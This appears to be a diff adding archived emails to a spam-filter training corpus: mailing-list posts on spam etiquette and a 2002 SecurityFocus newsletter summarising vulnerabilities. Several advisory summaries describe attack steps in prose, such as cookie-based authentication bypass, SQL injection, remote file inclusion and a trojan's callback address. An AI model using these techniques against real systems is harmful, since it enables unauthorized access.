([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ha2W-0003ET-00; Wed, + 21 Aug 2002 11:17:08 -0700 +Received: from neo.pittstate.edu ([198.248.208.13]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17ha2J-0005zb-00 for ; + Wed, 21 Aug 2002 11:16:57 -0700 +Received: from [198.248.208.11] (macdaddy.pittstate.edu [198.248.208.11]) + by neo.pittstate.edu (8.12.2/8.12.2) with ESMTP id g7LIGLW7000946; + Wed, 21 Aug 2002 13:16:21 -0500 +MIME-Version: 1.0 +Message-Id: +In-Reply-To: <20020821153428.GI28416@kluge.net> +References: <1029568528.15032.111.camel@obi-wan.kenlabs.com> + + <20020821150422.GG28416@kluge.net> + + <20020821153428.GI28416@kluge.net> +To: Theo Van Dinter , + Frank Pineau +From: Justin Shore +Subject: Re: [SAtalk] Highest-scoring false positive +Cc: SpamAssassin List +Content-Type: text/plain; charset="us-ascii" ; format="flowed" +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 21 Aug 2002 13:16:18 -0500 +Date: Wed, 21 Aug 2002 13:16:18 -0500 + +At 11:34 AM -0400 8/21/02, Theo Van Dinter wrote: +>On Wed, Aug 21, 2002 at 10:16:33AM -0500, Frank Pineau wrote: +>> Omaha Steaks *is* spam. I bought something from them once. +>>*Great* steaks, but +>> then they started calling me, emailing me, snail-mailing, +>>constantly. I once +> +>If you sign up for something, it's not spam by definition, aggressive as +>they may be. (I told them to stop calling me, and they stopped, so ...) + +I call it spam if I ask to be removed from the spamming list though. +I occasionally buy X-10 stuff. I've learned from past experiences to +create a quick mail alias to get order confs and what not. Then can +it once the order is complete because those spamming SOBs will not +stop filling my inbox with 3-6 ads per day. I've LARTed them and +their upstream numerous times asking to be list washed. I don't even +get an auto-ack. I started a procmail recipe to reject mail to them +and include a form letter (I was planning on later appending every +piece of x-10 spam I've archived to the form letter for their reading +pleasure...) but I haven't gotten it to work. Bottom line, if I gave +them permission to mail me (explicitly or via privacy policy), it's +not spam but once I told them to stop mailing me then it's spam. + +My $.02 + Justin +-- + +-- +Justin Shore, ES-SS ES-SSR Pittsburg State University +Network & Systems Manager http://www.pittstate.edu/ois/ + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + diff --git a/bayes/spamham/easy_ham_2/01344.afd86faffd3091513b285cd77c50d14f b/bayes/spamham/easy_ham_2/01344.afd86faffd3091513b285cd77c50d14f new file mode 100644 index 0000000..bfe67f9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01344.afd86faffd3091513b285cd77c50d14f @@ -0,0 +1,89 @@ +From spamassassin-talk-admin@lists.sourceforge.net Thu Aug 22 10:50:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5CB4043C76 + for ; Thu, 22 Aug 2002 05:47:40 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:47:40 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7LKrsZ09258 for ; Wed, 21 Aug 2002 21:53:54 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hcTP-0002gP-00; Wed, + 21 Aug 2002 13:53:03 -0700 +Received: from neo.pittstate.edu ([198.248.208.13]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17hcSl-0003dC-00 for ; + Wed, 21 Aug 2002 13:52:23 -0700 +Received: from [198.248.208.11] (macdaddy.pittstate.edu [198.248.208.11]) + by neo.pittstate.edu (8.12.2/8.12.2) with ESMTP id g7LKpkW7008049; + Wed, 21 Aug 2002 15:51:47 -0500 +MIME-Version: 1.0 +Message-Id: +In-Reply-To: <95D05F3FD1EBD311AE8B00508B5A968508BAB083@gvlexch4.gvl.esys.com> +References: <95D05F3FD1EBD311AE8B00508B5A968508BAB083@gvlexch4.gvl.esys.com> +To: "Rice, MA Mark (6750)" , + zeek , + SA +From: Justin Shore +Subject: RE: [SAtalk] Probing for valid addrs +Content-Type: text/plain; charset="us-ascii" ; format="flowed" +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 21 Aug 2002 15:51:44 -0500 +Date: Wed, 21 Aug 2002 15:51:44 -0500 + +At 3:39 PM -0500 8/21/02, Rice, MA Mark (6750 wrote: +>I get hit with these probes or "Rumplestiltskin attacks" too. +>Justin, could you explain what a "LART" is? I've seen that term used on +>this list before... + +Sure. I described it the way I understand it to another person off +list a little while ago. + + +It has a couple different definitions. The most common is Luser +[sic] Attitude Readjustment Tool. It was first used to describe the +reporting of spam to ISPs that didn't think spam was bad. Their +attitude needed a little readjusting. It has since taken on the +generic meaning of reporting email/security incidents to the +appropriate parties. Somewhere the definition is online. I can't +seem to find the page though. + + +LART is about as good a word as any to describe reporting +Rumplestiltskin attacks. Come to think of it, I generally get a much +better response to spam LARTs than I do to LARTs for other things. +I'm always careful to say in the LART that the massive amounts probes +on our system disrupted service to our customers and that we +therefore consider it a DoS attack. That tends to ellict a better +response. I also either include a log snippet in the email or I dump +it to a file and make it accessible on a web server with other logs +of hosts that abused our mail server. That helps too. :) + +Justin + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + diff --git a/bayes/spamham/easy_ham_2/01345.c40d5798193a4a060ec9f3d2321e37e4 b/bayes/spamham/easy_ham_2/01345.c40d5798193a4a060ec9f3d2321e37e4 new file mode 100644 index 0000000..180e751 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01345.c40d5798193a4a060ec9f3d2321e37e4 @@ -0,0 +1,865 @@ +From linux-secnews-return-67-legit-lists-secfocus=jmason.org@securityfocus.com Tue Aug 6 17:21:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6B029440C8 + for ; Tue, 6 Aug 2002 12:21:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 17:21:00 +0100 (IST) +Received: from outgoing.securityfocus.com (outgoing3.securityfocus.com + [66.38.151.27]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g76GLIk09510 for ; Tue, 6 Aug 2002 + 17:21:18 +0100 +Received: from lists.securityfocus.com (lists.securityfocus.com + [66.38.151.19]) by outgoing.securityfocus.com (Postfix) with QMQP id + 9D913A30D7; Tue, 6 Aug 2002 10:12:42 -0600 (MDT) +Mailing-List: contact linux-secnews-help@securityfocus.com; run by ezmlm +Precedence: bulk +List-Id: +List-Post: +List-Help: +List-Unsubscribe: +List-Subscribe: +Delivered-To: mailing list linux-secnews@securityfocus.com +Delivered-To: moderator for linux-secnews@securityfocus.com +Received: (qmail 14854 invoked from network); 6 Aug 2002 16:05:02 -0000 +Date: Tue, 6 Aug 2002 10:03:52 -0600 (MDT) +From: John Boletta +To: linux-secnews@securityfocus.com +Subject: SecurityFocus Linux Newsletter #92 +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII + + +SecurityFocus Linux Newsletter #92 +---------------------------------- + +This newsletter is sponsored by: SecurityFocus DeepSight Threat Management +System + +>>From June 24th - August 31st, 2002, SecurityFocus announces a FREE +two-week trial of the DeepSight Threat Management System: the only early +warning system providing customizable and comprehensive early warning of +cyber attacks and bulletproof countermeasures to prevent attacks before +they hit your network. + +With the DeepSight Threat Management System, you can focus on proactively +deploying prioritized and specific patches to protect your systems from +attacks, rather than reactively searching dozens of Web sites or hundreds +of emails frantically trying to gather information on the attack and how +to recover from it. + +Sign up today! +http://www.securityfocus.com/corporate/products/promo/tmstrial-lx.shtml +------------------------------------------------------------------------------- + +I. FRONT AND CENTER + 1. Advanced Log Processing + 2. Assessing Internet Security Risk, Part Three: an Internet... + 3. Copyright, Security, and the Hollywood Hacking Bill + 4. SecurityFocus DPP Program +II. LINUX VULNERABILITY SUMMARY + 1. OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow... + 2. Abyss Web Server HTTP GET Request Directory Contents Disclosure... + 3. DotProject User Cookie Authentication Bypass Vulnerability + 4. OpenSSL SSLv3 Session ID Buffer Overflow Vulnerability + 5. phpBB2 Gender Mod Remote SQL Injection Vulnerability + 6. ShoutBox Form Field HTML Injection Vulnerability + 7. Sympoll File Disclosure Vulnerability + 8. OpenSSL ASN.1 Parsing Error Denial Of Service Vulnerability + 9. William Deich Super SysLog Format String Vulnerability + 10. Frederic Tyndiuk Eupload Plain Text Password Storage... + 11. Util-linux File Locking Race Condition Vulnerability + 12. OpenSSL Kerberos Enabled SSLv3 Master Key Exchange Buffer... + 13. OpenSSL ASCII Representation Of Integers Buffer Overflow... + 14. ParaChat Phantom User Denial Of Service Vulnerability + 15. OpenSSH Trojan Horse Vulnerability + 16. Bharat Mediratta Gallery Remote File Include Vulnerability + 17. John G. Myers MUnpack Malformed MIME Encoded Message Buffer... + 18. Dispair Remote Command Execution Vulnerability + 19. Mailreader Session Hijacking Vulnerability + 20. John G. Myers MPack/MUnpack Malformed Filename Vulnerability + 21. Fake Identd Client Query Remote Buffer Overflow Vulnerability +III. LINUX FOCUS LIST SUMMARY + 1. LDAP Auth? (Thread) + 2. LDAP auth (Thread) + 3. Administrivia: Gone Fishin' (Thread) +IV. NEW PRODUCTS FOR LINUX PLATFORMS + 1. Gateway Guardian + 2. PakSecured Linux + 3. Progressive Systems VPN +V. NEW TOOLS FOR LINUX PLATFORMS + 1. Astaro Security Linux (Stable 3.x) v3.202 + 2. FCheck 2.07.59 + 3. The @stake Sleuth Kit (TASK) v1.50 +VI. SPONSORSHIP INFORMATION + + +I. FRONT AND CENTER +------------------- +1. Advanced Log Processing +By Anton Chuvakin + +Reading logs is a crucial part of incident detection and response. +However, it is easy for security personnel to be overwhelmed by the sheer +volume of logs. This article will offer a brief overview of log analysis, +particularly: log transmission, log collection and log analysis. It will +also briefly touch upon log storing and archival. + +http://online.securityfocus.com/infocus/1613 + +2. Assessing Internet Security Risk, Part Three: an Internet Assessment +Methodology Continued +by Charl van der Walt + +This article is the third in a series that is designed to help readers to +assess the risk that their Internet-connected systems are exposed to. In +the first installment, we established the reasons for doing a technical +risk assessment. In the second part, we started to discuss the methodology +that we follow in performing this kind of assessment. In this installment, +we will continue to discuss methodology, particularly visibility and +vulnerability scanning. + +http://online.securityfocus.com/infocus/1612 + +3. Copyright, Security, and the Hollywood Hacking Bill +By Richard Forno + +Proposed copyright enforcement legislation may allow the powerful +entertainment lobby to circumvent fundamental constitutional protections, +and may create chaos on the Internet. + +http://online.securityfocus.com/columnists/99 + +4. SecurityFocus DPP Program + +Attention Non-profit Organizations and Universities!! +Sign-up now for preferred pricing on the only global early-warning system +for cyber attacks - SecurityFocus DeepSight Threat Management System. + +Click here for more information: +http://www.securityfocus.com/corporate/products/dpsection.shtml + + +II. BUGTRAQ SUMMARY +------------------- +1. OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability +BugTraq ID: 5363 +Remote: Yes +Date Published: Jul 30 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5363 +Summary: + +OpenSSL is an open source implementation of the SSL protocol. It is used +by a number of other projects, including but not restricted to Apache, +Sendmail, Bind, etc.. It is commonly found on Linux and Unix based +systems. + +A buffer overflow vulnerability has been reported in some versions of +OpenSSL. + +When initiating an OpenSSL session, some information is shared between the +client and the server, including key data. The reported vulnerability lies +in the handling of the client key value during the negotiation of the +SSLv2 protocol. + +A malicious client may exploit this vulnerability by transmitting a +malformed key to the vulnerable server. Careful exploitation may result in +execution of arbitrary code as the server process, and the attacker +gaining local access to the vulnerable system. More primitive attacks may +result in the server process crashing, possibly producing a denial of +service condition. + +The consequences of exploitation may vary with the nature of the +application using OpenSSL. + +Oracle reports that CorporateTime Outlook Connector is only vulnerable +under Microsoft Windows 98, NT, 2K, and XP. + +** This vulnerability was originally part of BID 5353, Multiple OpenSSL +Buffer Overflow Vulnerabilities. It has now been reissued as a separate +vulnerability. + +2. Abyss Web Server HTTP GET Request Directory Contents Disclosure Vulnerability +BugTraq ID: 5345 +Remote: Yes +Date Published: Jul 29 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5345 +Summary: + +Abyss Web Server is a freely available personal web server. It is +maintained by Aprelium Technologies and runs on Microsoft Windows +operating systems, as well as Linux. + +A vulnerability has been reported for Abyss Web Server 1.0.3 running on a +Microsoft Windows platform. It is possible for an attacker to make a +request such that the contents of the specified directory are revealed. + +The vulnerability occurs due to the manner in which excessive '/' +characters are handled in web requests. An attacker making a GET request +followed by 256 '/' characters will cause Abyss Web Server to return an +error page containing the directory listing of the specified directory. + +An attacker may be able to use this information to launch further, +potentially damaging attacks, against a vulnerable system. + +3. DotProject User Cookie Authentication Bypass Vulnerability +BugTraq ID: 5347 +Remote: Yes +Date Published: Jul 29 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5347 +Summary: + +dotproject is web-based project management software, written in PHP. It +is designed to run on Unix and Linux variants. + +dotproject is prone to an issue which may allow remote attackers to bypass +authentication and gain administrative access to the software. + +This may be accomplished by submitting a maliciously crafted 'user_cookie' +value either manually or via manipulation of URI parameters. For example, +the attacker may manually craft a cookie with a 'user_cookie' value of 1 +and submit it to the project management system. An attacker may also +submit a malicious web request with the 'user_cookie' URI parameter set to +1. In both instances, the attacker will gain administrative access to the +project management system. + +This problem is due to the software relying on the 'user_cookie' value to +authenticate the user. + +4. OpenSSL SSLv3 Session ID Buffer Overflow Vulnerability +BugTraq ID: 5362 +Remote: Yes +Date Published: Jul 30 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5362 +Summary: + +OpenSSL is an open source implementation of the SSL protocol. It is used +by a number of other projects, including but not restricted to Apache, +Sendmail, Bind, etc.. It is commonly found on Linux and Unix based +systems. + +A vulnerability has been reported for OpenSSL. The vulnerability affects +SSLv3 session IDs. + +When initiating contact with SSLv3 servers, clients and servers alike +exchange information. Session information is stored in a session key with +a unique session ID. + +Reportedly when a an oversized SSL version 3 session ID is supplied to a +client from a malicious server, it is possible to overflow a buffer on the +remote system. This could result in key memory areas on the vulnerable, +remote system being overwritten, including stack frame data. + +An attacker may be able to take advantage of this vulnerability to execute +malicious code on a vulnerable SSLv3 client machine. + +Oracle reports that CorporateTime Outlook Connector is only vulnerable +under Microsoft Windows 98, NT, 2K, and XP. + +** This vulnerability was originally part of BID 5353, Multiple OpenSSL +Buffer Overflow Vulnerabilities. It has now been reissued as a separate +vulnerability. + +5. phpBB2 Gender Mod Remote SQL Injection Vulnerability +BugTraq ID: 5342 +Remote: Yes +Date Published: Jul 29 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5342 +Summary: + +phpBB2 is an open-source web forum application that is written in PHP and +backended by a number of database products. It will run on most Unix and +Linux variants, as well as Microsoft Windows operating systems. + +Gender Mod is a modification for phpBB2 which allows the association of a +gender with a given user profile. A SQL injection vulnerability has been +reported in this mod. + +A malicious user may modify the specified value for 'gender' when updating +their profile. It is possible to include additional SQL statements in this +string, and subvert the SQL statement used to update the user profile. + +It has been reported possible to gain administrative access to the phpBB2 +site through exploitation of this issue. Other attacks may be possible, +including the ability to view sensitive database information or to modify +additional information stored in the database. + +6. ShoutBox Form Field HTML Injection Vulnerability +BugTraq ID: 5354 +Remote: Yes +Date Published: Jul 29 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5354 +Summary: + +shoutBOX is web-based user feedback software. It is written in PHP and +runs on Unix and Linux variants as well as Microsoft Windows operating +systems. + +ShoutBox does not sufficiently sanitize HTML tags from input supplied via +form fields. In particular, the user website URL field of the feedback +form is not sanitized of HTML tags. + +Attackers may exploit this lack of input validation to inject arbitrary +HTML and script code into pages that are generated by the script. This +may result in execution of attacker-supplied code in the web client of a +user who visits such a page. HTML and script code will be executed in the +security context of the site hosting the software. + +This condition may be exploited to hijack web content or potentially steal +cookie-based authentication credentials. + +7. Sympoll File Disclosure Vulnerability +BugTraq ID: 5360 +Remote: Yes +Date Published: Jul 30 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5360 +Summary: + +Sympoll is web-based voting booth software. It is implemented in PHP and +will run on most Unix and Linux variants as well as Microsoft Windows +operating systems. + +Sympoll is prone to an issue which may allow remote attackers to disclose +the contents of arbitrary webserver readable files. This vulnerability is +only present on hosts which are running the vulnerable version of the +software and have the PHP 'register_globals' directive enabled. The +source of this vulnerability is reported to be insufficient integrity +checking of variables. + +The vendor has stated that this issue is only believed to affect Sympoll +version 1.2. + +Exploitation of this issue on Microsoft Windows operating systems may +potentially expose arbitrary system files since webservers typically run +in the SYSTEM context. + +8. OpenSSL ASN.1 Parsing Error Denial Of Service Vulnerability +BugTraq ID: 5366 +Remote: Yes +Date Published: Jul 30 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5366 +Summary: + +OpenSSL is an open source implementation of the SSL protocol. It is used +by a number of other projects, including but not restricted to Apache, +Sendmail, Bind, etc.. It is commonly found on Linux and Unix based +systems. + +A remotely exploitable denial of service condition has been reported in +the OpenSSL ASN.1 library. + +This vulnerability is due to parsing errors and affects SSL, TLS, S/MIME, +PKCS#7 and certificate creation routines. In particular, malformed +certificate encodings could cause a denial of service to server and client +implementations which depend on OpenSSL. + +Oracle reports that CorporateTime Outlook Connector is only vulnerable +under Microsoft Windows 98, NT, 2K, and XP. + +** This vulnerability was originally part of BID 5353, Multiple OpenSSL +Buffer Overflow Vulnerabilities. It has now been reissued as a separate +vulnerability. + +9. William Deich Super SysLog Format String Vulnerability +BugTraq ID: 5367 +Remote: No +Date Published: Jul 31 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5367 +Summary: + +super is an open source set-uid root utility that allows for a similar +functionality to that of the sudo utility. It is written for use on Linux +and Unix variant operating systems. + +super is prone to a format string vulnerability. This problem is due to +incorrect use of the syslog() function to log error messages. It is +possible to corrupt memory by passing format strings through the +vulnerable logging function. This may potentially be exploited to +overwrite arbitrary locations in memory with attacker-specified values. + +The vulnerability is a result of compiling super with syslog support. Due +to an error in the file, error.c, users that are not in the super +configuration file will still be able to execute code with root +privileges. + +Successful exploitation of this issue may allow the attacker to execute +arbitrary instructions with root privileges. + +10. Frederic Tyndiuk Eupload Plain Text Password Storage Vulnerability +BugTraq ID: 5369 +Remote: Yes +Date Published: Jul 31 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5369 +Summary: + +Frederic Tyndiuk Eupload is a small script designed to facilitate +uploading of files to a remote server. It is written in Perl and should +work with Microsoft Windows and Linux and Unix variant operating systems. + +A problem with Eupload 1.0 may make it possible for remote attackers to +gain access to sensitive information. + +Eupload does not cryptographically protect stored passwords. Passwords +contained in the configuration file, password.txt, are stored in plain +text. They may be read by simply viewing the file. The file, password.txt, +is stored in a web accessible location and is, itself, accessible for +retrieval. Thus it is trivial for an attacker to obtain user passwords and +abuse the Eupload service. + +This problem could allow an attacker to gain access to the passwords to +protected resources. + +11. Util-linux File Locking Race Condition Vulnerability +BugTraq ID: 5344 +Remote: No +Date Published: Jul 29 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5344 +Summary: + +The util-linux package is a set of commonly used system utilities such as +'chfn' and 'chsh'. It is included with many Linux distributions. + +A race condition has been reported in code shared by the util-linux +utilities. The condition is related to file locking. Failure to check +for the existence of a lockfile prior to sensitive operations may, under +specific circumstances, open a window of opportunity for attack. The +util-linux utilities often write to sensitive files such as /etc/passwd/. +Attackers may exploit the condition to inject arbitrary data into these +files to elevate privileges. + +The reported attacks are complex, time dependent and require specific +circumstances such as system administrator interaction and a large passwd +file. + +Red Hat Linux is known to ship with util-linux as a core component. +Other distributions, those that are derived from Red Hat in particular, +may also be vulnerable. + +It should be noted that the utilities included with the shadow-utils +package (shipped with SuSE Linux) are not vulnerable. + +12. OpenSSL Kerberos Enabled SSLv3 Master Key Exchange Buffer Overflow Vulnerability +BugTraq ID: 5361 +Remote: Yes +Date Published: Jul 30 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5361 +Summary: + +OpenSSL is an open source implementation of the SSL protocol. It is used +by a number of other projects, including but not restricted to Apache, +Sendmail, Bind, etc.. It is commonly found on Linux and Unix based +systems. + +A vulnerability has been reported for OpenSSL 0.9.7 pre-release versions. + +This vulnerability is present only when Kerberos is enabled for a system +using SSL version 3. + +When initiatiating contact between a SSLv3 server, master keys are +exchanged between the client and the server. When an oversized master key +is supplied to a SSL version 3 server by a malicious client, it may cause +a buffer to overflow on the vulnerable system. As a result, stack memory +on the vulnerable server will become corrupted. This could enable the +attacker to take control of the SSLv3 server process and cause it to +execute malicious, attacker supplied code. + +** This vulnerability was originally part of BID 5353, Multiple OpenSSL +Buffer Overflow Vulnerabilities. It has now been reissued as a separate +vulnerability. + +13. OpenSSL ASCII Representation Of Integers Buffer Overflow Vulnerability +BugTraq ID: 5364 +Remote: Yes +Date Published: Jul 30 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5364 +Summary: + +OpenSSL is an open source implementation of the SSL protocol. It is used +by a number of other projects, including but not restricted to Apache, +Sendmail, Bind, etc.. It is commonly found on Linux and Unix based +systems. + +Remotely exploitable buffer overflow conditions have been reported in +OpenSSL. This issue is due to insufficient checking of bounds with +regards to ASCII representations of integers on 64 bit platforms. It is +possible to overflow these buffers on a vulnerable system if overly large +values are submitted by a malicious attacker. + +Exploitation of this vulnerability may allow execution of arbitrary code +with the privileges of the vulnerable application, service or client. + +Oracle reports that CorporateTime Outlook Connector is only vulnerable +under Microsoft Windows 98, NT, 2K, and XP. + +** This vulnerability was originally part of BID 5353, Multiple OpenSSL +Buffer Overflow Vulnerabilities. It has now been reissued as a separate +vulnerability. + +14. ParaChat Phantom User Denial Of Service Vulnerability +BugTraq ID: 5370 +Remote: Yes +Date Published: Jul 31 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5370 +Summary: + +ParaChat is a web-based chatting system. It is available for most Unix +and Linux variants as well as Microsoft Windows operating systems. + +ParaChat chat servers are prone to a denial of service condition. + +If a user has left the webpage for a chat room using the Back or Forward +buttons of their browser in lieu of logging out, their account will still +be logged into the chat room until it times out 15 minutes later. A +malicious user may do this repeatedly as different users to overload the +chat server with "phantom" users. A denial of service may be the result. + +15. OpenSSH Trojan Horse Vulnerability +BugTraq ID: 5374 +Remote: Yes +Date Published: Aug 01 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5374 +Summary: + +OpenSSH is a freely available implementation of the SSH client-server +protocol. It is distributed and maintained by the OpenSSH team. + +Reportedly, the server hosting openssh, ftp.openbsd.org, was compromised +recently. It has been reported that the intruder made modifications to the +source code of openssh to include trojan horse code. Downloads of the +openssh source code from ftp.openbsd.org between July 30, 2002 and July +31, 2002 likely contain the trojan code. + +The trojan code appears to be included in the file, bf-test.c. Reports say +that the trojan will run once upon compilation of openssh. The trojan +process is named 'sh' or the compiling user's default shell. Once executed +the trojan attempts to connect to 203.62.158.32 on port 6667. The trojan +will then wait for one of three commands. A connection to the specified +address is attempted once every hour. + +'D' will cause the trojan to execute '/bin/sh'. 'M' will cause the trojan +to respawn and 'A' will terminate the trojan process. It is highly +probable that this trojan will give remote root access to vulnerable +systems. + +The following sites also have been reported to carry the trojaned version of openssh-3.4p1.tar.gz: +ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/ +ftp://ftp.usa.openbsd.org/pub/OpenBSD/OpenSSH/ +ftp://ftp1.se.openbsd.org/pub/OpenBSD/OpenSSH/ + +It is not known whether other sites are affected as well. + +FreeBSD has reported the following MD5 checksum information. The following +is the MD5 checksum of the trojaned version of openssh: MD5 +(openssh-3.4p1.tar.gz) = 3ac9bc346d736b4a51d676faa2a08a57 + +The following is the MD5 checksum of openssh in the FreeBSD ports +directory: MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8 + +Note that a different checksum does not mean the backdoor does not exist. + +*** The OpenSSH team has released an advisory. Fixed versions of openssh +are available for download since 1300 UTC August 1, 2002. The following +MD5 checksum information was provided for fixed versions of openssh: + +MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8 +MD5 (openssh-3.4p1.tar.gz.sig) = d5a956263287e7fd261528bb1962f24c +MD5 (openssh-3.4.tgz) = 39659226ff5b0d16d0290b21f67c46f2 +MD5 (openssh-3.2.2p1.tar.gz) = 9d3e1e31e8d6cdbfa3036cb183aa4a01 +MD5 (openssh-3.2.2p1.tar.gz.sig) = be4f9ed8da1735efd770dc8fa2bb808a + +16. Bharat Mediratta Gallery Remote File Include Vulnerability +BugTraq ID: 5375 +Remote: Yes +Date Published: Aug 01 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5375 +Summary: + +Gallery is an open source web based photo album. It is written in PHP and +is available for Linux and Unix variant as well as Microsoft Windows +operating systems. + +Gallery is prone to an issue which may allow remote attackers to include +arbitrary files located on remote servers. This issue is present in the +following PHP script files provided with Gallery: errors/configmode.php +errors/needinit.php errors/reconfigure.php errors/unconfigured.php +captionator.php + +An attacker may exploit this by supplying a path to a file, 'init.php', on +a remote host as a value for the 'GALLERY_BASEDIR' parameter. + +If the remote file is a PHP script, this may allow for execution of +attacker-supplied PHP code with the privileges of the webserver. +Successful exploitation may provide local access to the attacker. + +17. John G. Myers MUnpack Malformed MIME Encoded Message Buffer Overflow Vulnerability +BugTraq ID: 5385 +Remote: No +Date Published: Aug 02 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5385 +Summary: + +John G. Myers mpack/munpack is a pair of utilities to encode and decode +MIME format email. Versions are available for Linux and Unix variant +operating systems as well as Microsoft DOS. + +A buffer overflow vulnerability has been reported for munpack 1.5. +Reportedly, it is possible to cause munpack to crash when it receives a +malformed email or NNTP news article. + +As this vulnerability is the result of a buffer overflow condition, it may +be possible for an attacker to cause munpack to execute malicious attacker +supplied code. This has not, however, been confirmed. + +18. Dispair Remote Command Execution Vulnerability +BugTraq ID: 5392 +Remote: Yes +Date Published: Jul 30 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5392 +Summary: + +Dispair is a web-based .tar.gz archive viewer. It is written in Perl and +is available for Linux and Unix operating systems. + +Dispair fails to sufficiently validate user-supplied input before it is +passed to the shell via the Perl open() function. A remote attacker may +exploit this condition by injecting arbitrary commands into CGI parameters +in a request to the vulnerable script. + +The result of successful exploitation is that attackers may potentially +exploit this issue to execute arbitrary commands on the underlying shell +with the privileges of the webserver process. + +19. Mailreader Session Hijacking Vulnerability +BugTraq ID: 5393 +Remote: Yes +Date Published: Aug 02 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5393 +Summary: + +Mailreader is an open source project which allows POP3 mail access through +a web interface. Mailreader is implemented in Perl, and should work under +Microsoft Windows, Linux and other Unix based operating systems. + +A vulnerability has been reported in some versions of Mailreader. It may +be possible for a remote attacker to hijack the session of a legitimate +user of the system. This may result in access to sensitive information, or +the ability to send mail and otherwise function as the legitimate user. + +Full exploit details are not available. It is possible that this +vulnerability results from session information being tracked through CGI +parameters, which may be trivially spoofed by a remote user. This +possibility has not, however, been confirmed. + +20. John G. Myers MPack/MUnpack Malformed Filename Vulnerability +BugTraq ID: 5386 +Remote: No +Date Published: Aug 02 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5386 +Summary: + +John G. Myers mpack/munpack is a pair of utilities to encode and decode +MIME format email. Versions are available for Linux and Unix variant +operating systems as well as Microsoft DOS. + +A vulnerability has been reported for mpack/munpack 1.5. Reportedly, it is +possible to cause munpack to create files outside of a designated +directory. When mpack/munpack receives a MIME encoded message with an +attachment that refers to a file, using a '../' sequence followed by the +filename, it may decode the attachment outside of a designated directory. + +The impact of this vulnerability is limited as it has been reported that +munpack will only accept a single '../' sequence and will not overwrite +any existing files. + +21. Fake Identd Client Query Remote Buffer Overflow Vulnerability +BugTraq ID: 5351 +Remote: Yes +Date Published: Jul 29 2002 12:00AM +Relevant URL: +http://www.securityfocus.com/bid/5351 +Summary: + +Fake 